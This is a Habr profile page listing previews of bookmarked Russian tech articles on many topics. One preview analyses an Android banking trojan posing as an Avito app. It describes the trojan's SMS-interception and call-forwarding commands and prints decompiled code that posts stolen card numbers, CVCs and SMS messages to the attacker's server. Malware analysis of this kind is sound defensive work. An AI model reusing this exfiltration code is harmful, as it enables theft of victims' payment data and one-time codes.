Как стать автором
Обновить
-3
0

Пользователь

Отправить сообщение

Как считывать и удалять метаданные из ваших фотографий с помощью Python

Время на прочтение27 мин
Количество просмотров38K

Те, кто знает Python, могут делать поистине удивительные вещи, например, создавать арт-объекты и игры и красивые карты, полнотекстовую поисковую машину и систему распознавания лиц. Применим Python и для вполне бытовых задач. Сегодня, специально к старту новых потоков курсов Python для веб-разработки и Fullstack-разработчик на Python поделимся с вами туториалом, как считывать, добавлять и удалять EXIF метаданные из фотографий с помощью Python.

Читать далее
Всего голосов 8: ↑8 и ↓0+8
Комментарии4

Схема кампуса в Android приложении

Уровень сложностиСредний
Время на прочтение11 мин
Количество просмотров4.3K

Всем привет, я Леонид Соляной, Android разработчик из @UMNODigital, и сегодня я расскажу о своем домашнем проекте.

Еще на первом курсе я занялся разработкой мобильного приложения для просмотра расписания. Приложение росло, появлялись новые функции, и спустя 3 года им пользуются 5 тысяч студентов ежедневно, но в нем не хватало одной важной детали, а именно схемы территории. В статье до винтиков расскажу, как сделал кастомные карты и завернул в их android-библиотеку.

Читать далее
Всего голосов 20: ↑20 и ↓0+20
Комментарии8

Метаданные для организации хранения фото-архива

Время на прочтение8 мин
Количество просмотров44K
Привет, хабр!
Наверное, не ошибусь, если скажу, что у многих пользователей хабра скопился небольшой архив фото- и видео- материалов, которые хранят воспоминания о различных моментах собственной жизни, или жизни близких людей. У некоторых этот архив, возможно, уже занимает не один жёсткий диск. Но многие ли из вас задумывались, как лучше хранить все эти фотографии, как с архивом распорядятся ваши дети? Хочу затронуть скользкую и не очень тематическую тему «организации хранения личного фото-архива», в которой много вопросов и мало ответов, много текста и мало картинок.
Читать дальше →
Всего голосов 23: ↑20 и ↓3+17
Комментарии67

В России всего 2000 проектировщиков чипов. Что с этим делать?

Время на прочтение8 мин
Количество просмотров45K

Согласно статье Ивана Покровского «Возможности и проблемы отечественной микроэлектроники», в России всего две тысячи разработчиков микросхем. Для сравнения: в каждой крупной международной электронной компании есть несколько команд, работающих над чипом или над IP, в каждой по паре сотен разработчиков (хотя бывает и меньше ста, и больше тысячи).

Две тысячи человек — это мало для любого сценария развитии России:

1. Как для сценария, в котором санкции будут сняты и российские компании будут безпроблемно работать с TSMC и западными партнерами для разработки маркетируемых на мировом рынке чипов.

2. Так и для сценария, в котором российские разработчики будут строить экосистему проектирования в условиях изоляции, ориентироваться на производство микроконтроллеров и встроенных микросхем на зеленоградском Микроне, а также на сотрудничество в разработке semiconductor IP с китайскими производителями.

В других стран бывшего СССР ситуация еще хуже.

Что же делать? Для ответа на этот вопрос мы привлекли Машу Горчичко — выпускницу МИФИ, которая защитила диссертацию в Университете Вандербильда в Теннесси. Маша работала инженером в Роскосмосе, а сейчас работает в Кремниевой Долине, разработчиком в компании Applied Materials — одного из лидеров в оборудовании для производства микросхем.

Представим Машу, которая будет пояснять и иллюстрировать наши тезисы на видео. От себя прибавлю, что МИФИ — крутой вуз, в нем внутри есть ядерный реактор, а на входе стоит автоматчик:

Читать далее
Всего голосов 86: ↑65 и ↓21+60
Комментарии814

Почему Notion

Время на прочтение7 мин
Количество просмотров101K

Приветствую, Хаброзритель. В данной статье я хочу познакомить тебя с органайзером Notion, поделиться своим опытом использования. Также я дам несколько советов, идей, к которым я пришел со временем, учась планировать и использовать свое время, силы и мыслетоплево. Некоторые мысли, конечно, не будут напрямую связаны с данной программой и не все советы я как-то выделил отдельно, не упусти их.

Надеюсь что буду полезен и прошу под кат.

Читать далее
Всего голосов 14: ↑12 и ↓2+15
Комментарии71

Мы добавили markdown-режим в новый редактор

Уровень сложностиПростой
Время на прочтение4 мин
Количество просмотров8.5K

Вы просили — мы сделали.

Читать далее
Всего голосов 118: ↑118 и ↓0+118
Комментарии65

Nokia 720 (NMT-450)

Время на прочтение2 мин
Количество просмотров29K
Неубиваемый «ядерный чемоданчик».
Легенда «лихих девяностых».
Практически тот самый «чемодан с трубой», аутентичнее его только аппараты транкинговой связи и блоки «РусАлтая».
Ранее стоял в автомобиле какого-то крутого дядьки, благодаря его бережному обращению, аппарат в очень хорошем состоянии. Трудно найти реквизит лучше для фильмов про ядерные ракеты, шпионов и спутниковую связь с президентом.

Под катом несколько фотографий и рассказ об этом телефоне.

Читать дальше →
Всего голосов 42: ↑36 и ↓6+30
Комментарии52

Возвращение в родные пенаты: как США планирует вернуть лидерство в электронной отрасли к 2030 году

Уровень сложностиСредний
Время на прочтение5 мин
Количество просмотров10K
image

С началом торговой войны между Китаем и США оба государства стали активно развивать электронную промышленность в собственных границах. Китаю при этом приходится гораздо сложнее, поскольку страна находится под очень сильным санкционным давлением Штатов. Тем не менее, Поднебесная делает вполне заметные успехи, о чем мы писали не раз и не два.

Но и США не сидят сложа руки. Санкции — одно, а развитие собственной электронной отрасли — другое. За пару прошедших десятилетий страна потеряла лидирующие позиции в производстве электроники. Ну и теперь Штаты активно восстанавливают отрасль. Подробности — под катом.
Читать дальше →
Всего голосов 48: ↑43 и ↓5+53
Комментарии41

Датчик присутствия для Home Assistant с использованием Zigbee

Уровень сложностиПростой
Время на прочтение5 мин
Количество просмотров20K

Для своего умного дома решил собрать датчик присутствия на доплеровском датчике rcwl-0516 и микроконтроллере Zigbee — cc2530, работающий на протоколе Zigbee, отличающийся низким энергопотреблением.

Читать далее
Всего голосов 21: ↑21 и ↓0+21
Комментарии16

Всё про USB-C: паяльник Pinecil

Уровень сложностиСредний
Время на прочтение9 мин
Количество просмотров28K

Как многие правильно заметили, в случае с USB-C важен не просто сам стандарт, а то, как он реализован. В конце концов, мы имеем дело с реализациями, и именно на этой почве обычно возникает большинство проблем. Отчасти, конечно, вина лежит и на стандарте, например, в плане отсутствия маркировки кабелей. Хотя, на мой взгляд, он продуман намного лучше, чем некоторым кажется.

Я хочу познакомить вас с несколькими реализациями USB-C в некоторых интересных опенсорсных продуктах. Все они в том или ином смысле не идеальны – иначе и быть не может, поскольку им приходится иметь дело с беспорядочным реальным миром, где совершенство является редкостью.

Сегодня мы поговорим о Pinecil – недорогом и качественном паяльнике от Pine64, выпущенном пару лет назад. Для питания в нём предусмотрен и круглый разъём, и порт USB-C. Это стало долгожданным отступлением от стратегии компании Miniware, которая не применяла такое решение ни в оснащённой исключительно круглым разъёмом модели TS100, ни в маломощных паяльниках TS80. Кроме того, поскольку Pinecil разработан под использование жал T12 от модели TS100, он заслуженно завоевал популярность в мире электронщиков-любителей.
Читать дальше →
Всего голосов 77: ↑77 и ↓0+77
Комментарии18

Как научиться делать роботов и внедрять их там, где никто не решался

Время на прочтение7 мин
Количество просмотров3.4K

Главный инженер по робототехнике компании «Криптонит» Олег Зобов рассказал о том, как он осваивал создание роботов, получил за это Президентскую премию и победил в престижном международном конкурсе. Олег поделился своим подходом к обучению, рекомендовал отечественные и зарубежные курсы, а также дал ряд экспертных советов. Сейчас он руководит проектом, который позволит одновременно использовать роботов разных типов, делать их «умнее» и внедрять в те отрасли производства, где до сих пор большую часть манипуляций выполняют люди.

Читать далее
Всего голосов 15: ↑12 и ↓3+11
Комментарии5

Linux-2018: самые перспективные дистрибутивы

Время на прочтение7 мин
Количество просмотров156K
Представляем вашему вниманию перевод статьи Джека Уоллена с linux.com, которая посвящена самым перспективным Linux-дистрибутивам 2018-го года. Примерно двенадцать месяцев тому назад мы делились с вами похожим обзором. Что изменилось за год?

image
Читать дальше →
Всего голосов 78: ↑44 и ↓34+10
Комментарии106

Безопасность покупателя в рознице: что надо знать лично вам

Время на прочтение6 мин
Количество просмотров252K


Ценник должен быть с печатью или подписью. Он является документом и обязательно должен быть на товаре. Если вы видите что-то с ценником (неважно, где и как оно стоит), вы имеете право купить его по цене на нём.

Пример: вам говорят, что товар по акции кончился. Вы видите один в витрине в герметичном ящике под потолком, но с ценником. Вам не имеют права отказать в его продаже.

Второй пример: когда обновляются цены, в торговом зале может остаться ценник со старой ценой ниже. Цена в базе другая? Ну и что, вот ваш же документ. Если же вдруг ценник без печати-подписи, и на таком товаре нет правильного ценника — регистрируйте нарушение. Ценники обязательно должны быть хотя бы на одном товаре из пачки.
Читать дальше →
Всего голосов 236: ↑225 и ↓11+214
Комментарии498

30 полезных сервисов для веб-разработчика

Время на прочтение2 мин
Количество просмотров163K
Решил собрать сервисы, которые могут быть полезны веб-разработчикам и дизайнерам. Буду рад, если кто-то найдет для себя полезный сервис. Осторожно, под катом куча картинок!
Читать дальше →
Всего голосов 180: ↑156 и ↓24+132
Комментарии48

Глобальной Сети исполнилось 45 лет. Как все начиналось

Время на прочтение2 мин
Количество просмотров26K


Хотя вернее будет сказать, что 45 лет исполнилось успешно установленному между двумя компьютерами сеансу связи. Расстояние между этими компьютерами составляло 640 километров (как раз столько от Калифорнийского университета Лос-Анджелеса до Стэнфордского исследовательского института).

Сеанс связи был успешно установлен 29 октября 1969 года, в 21:00. В процессе обмена данными создателям системы удалось успешно передать три символа — LOG, после чего случилась знакомая и сейчас многим из нас неприятность — связь оборвалась. Повторную связь удалось установить уже в 22:40. Оба компьютера, использовавшиеся в системе при передаче данных, стали первыми узлами связи будущей сети ARPANET.

Читать дальше →
Всего голосов 32: ↑29 и ↓3+26
Комментарии13

Создаем сетку с помощью Susy

Время на прочтение7 мин
Количество просмотров48K


Susy — тулкит для создания сеток, с помощью которого можно решать множество разнообразных задач по расположению контента. В отличии от фреймворков, таких как Bootstrap или Foundation, Susy не предоставляет предопределенных классов для использования, а только лишь набор функций и миксин, после знакомства с которыми можно сделать много большее.

В этой публикации будут рассмотрены основные возможности Susy на примерах, а так же будет добавлен вывод с использованием flexbox.
Читать дальше →
Всего голосов 21: ↑19 и ↓2+17
Комментарии5

Работайте так, словно таланта у вас вообще нет

Время на прочтение2 мин
Количество просмотров91K
Намедни наткнулся на замечательное высказывание талантливого боксера и невероятно сильного человека Роя Джонса. Он сказал: “Нужно работать так, словно таланта у тебя вообще нет”. Эти слова невероятно глубоко запали мне в душу. Я перечитал фразу раз двадцать и с каждым новым прочтением все больше понимал — “Да! Точно! Это именно то, чего мне не хватало.”

Это высказывание подходит пожалуй к любой профессиональной деятельности, начиная от спортсменов заканчивая любыми представителями около-творческих профессий, где в той или иной форме требуется проявление таланта. Для меня программирование — искусное ремесло, которое требует от творителя неимоверной остроты ума, таланта и трудолюбия. Именно о талантливой составляющей в программировании я бы хотел порассуждать.
Читать дальше →
Всего голосов 141: ↑93 и ↓48+45
Комментарии245

Разблокировка телефона с помощью NFC-клипсы: игра в одно касание

Время на прочтение3 мин
Количество просмотров26K
Две недели назад на хабре появился топик, посвященный мошенничеству через перевыпуск симки и снятие денег в Сбербанке. Тогда же комментариях один из читателей написал:
«Вот вот, а в обсуждении приложения для Android очень много написано про то, что если потерял телефон и сразу считай потерял деньги»

Еще раньше в моем посте, описывающем дистанционную блокировку устройства через обновленный Android Device Manager, другой пользователь удивился:
«Может я чего-то не понимаю и делаю что-то не так, но вот залез я в «Настройки Google» -> «Удаленное управление Android» и беспрепятственно снял все галки. Т.е. злоумышленнику достаточно быть быстрее меня и снять галки до блокировки? MyXperia отключается также легко»

Что это значит? А все просто — многие просто не пользуются парольной блокировкой телефона (не говоря уже про шифрование). А почему? Да потому что это неудобно – тыкать несколько раз в экран, да еще с обязательным Enter в конце, каждый раз, как включаешь телефон. Особенно если телефон нужен постоянно. И что делать? Мне кажется, что либо использовать датчики пальца как на iPhone (с возможностью компрометации пароля и биологической невозможностью его поменять. Или использовать разблокировку по носимой NFC-метке.


Читать дальше →
Всего голосов 22: ↑20 и ↓2+18
Комментарии26

Как я позорно деактивировал ботнет

Время на прочтение10 мин
Количество просмотров191K
image

Разместил я, ничего не подозревая, объявление на avito.ru. Сколько раз туда ходил! Но на этот раз как-то не удалось…
Я давно был уверен, что многие нехорошие люди парсят телефонные номера с этого сайта, так что такси, строительные материалы, скорая компьютерная помощь, «8-800-555-3-555 — проще позвонить, чем у кого-то занимать» и приглашения на битву экстрасенсов для меня уже привычное дело, но на этот раз было нечто новое.

Приходит мне СМС-сообщение с текстом: «Зaинтерсoвaлo вaше oбьявление кaк нaсчет oбменa нa http://…». Прямо вот так, с пропущенным знаком препинания и ошибками. А по ссылке качается avito.apk. Интересно.

Исследование APK


Ну, подумал я, надо бы глянуть, что этот APK делает. Результат привычной для меня связки из apktool + dex2jar + jd-gui меня не удовлетворил, т.к. не было видно часть классов деревом, хотя доступ по ссылкам к ним получить было можно. Решил я воспользоваться новомодными онлайн-sandbox'ами — и декомпилированный код получил, и информацию, и pcap-файл со сдампленным трафиком. Как оказалось, этот файл загружали до меня, поэтому в мои руки попал более ранний анализ, что было достаточно полезно.

Итак, что умеет этот троян:
  • delivery&&& — рассылка СМС-сообщений на номера из телефонной книги с заданным текстом
  • sent&&& — отправка заданных СМС-сообщений с сервера
  • rent&&& — перехват всех СМС-сообщений и отправка их на сервер
  • sms_stop&&& — отмена перехвата СМС-сообщений
  • ussd&&& — USSD-запрос
  • call_1&&& — установка и отмена безусловной переадресации

Немного кода из моих заметок
protected HttpRequestBase a()
    {
        try
        {
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(c())));
            arraylist.add(new BasicNameValuePair("number", b));
            arraylist.add(new BasicNameValuePair("month", Integer.toString(c.intValue())));
            arraylist.add(new BasicNameValuePair("year", Integer.toString(d.intValue())));
            arraylist.add(new BasicNameValuePair("cvc", Integer.toString(e.intValue())));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("set_card.php").toString());
    }






    protected HttpRequestBase a()
    {
        try
        {
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("id", com.avito.a.c.a(b)));
            arraylist.add(new BasicNameValuePair("info", com.avito.a.c.b(b)));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("get.php").toString());
    }




    protected HttpRequestBase a()
    {
        try
        {
            JSONObject jsonobject = new JSONObject();
            jsonobject.put("text", c);
            jsonobject.put("number", d);
            jsonobject.put("date", e);
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(b)));
            arraylist.add(new BasicNameValuePair("sms", jsonobject.toString()));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        catch(JSONException jsonexception)
        {
            jsonexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("load_sms.php").toString());


Помимо этих команд, троян отключает Wifi Sleep, пытается получить доступ к зашифрованному хранилищу и установить себя в качестве Android-администратора (естественно, при этом используются стандартные диалоги ОС, где можно отменить данное действие). Код трояна не обфусцирован, некоторые строки закодированы base64. Вообще непонятно, что это за троян такой. То ли его собирали копипастой, то ли он основан на каком-то другом трояне, то ли еще что, но в нем имеются строки на португальском, немецком, английском, Ubuntu-шрифты, форма для перехвата данных из приложения немецкого банка Commerzbank, значок какой-то игры и флеш-плеера.
Читать дальше →
Всего голосов 368: ↑362 и ↓6+356
Комментарии143

Хотите заблокировать распространённые пароли? Извините, это запатентовано

Время на прочтение2 мин
Количество просмотров69K


По западной статистике двухлетней давности, 4,7% пользователей выбирают в качестве пароля слово “password”, 8,5% — “password” или “123456”, 10 самых популярных паролей покрывают 14% всей пользовательской базы (40% — топ-100, 79% — топ-500, 91% — топ-1000).

При создании сайта было бы вполне логично составить список общеупотребительных паролей и запретить их при регистрации пользователя. Казалось бы, вполне логичная идея, но… к сожалению, процесс аутентификации в ИТ покрывается множеством патентов, пишет консультант по ИТ-безопасности Марк Бернетт (Mark Burnett). Они описывают самые очевидные, общеизвестные и обыденные техники. Похоже, абсолютно все возможные аспекты выбора пароля, процесса аутентификации, хранения и восстановления информации защищены одним или несколькими патентами.
Читать дальше →
Всего голосов 127: ↑114 и ↓13+101
Комментарии109
2

Информация

В рейтинге
Не участвует
Зарегистрирован
Активность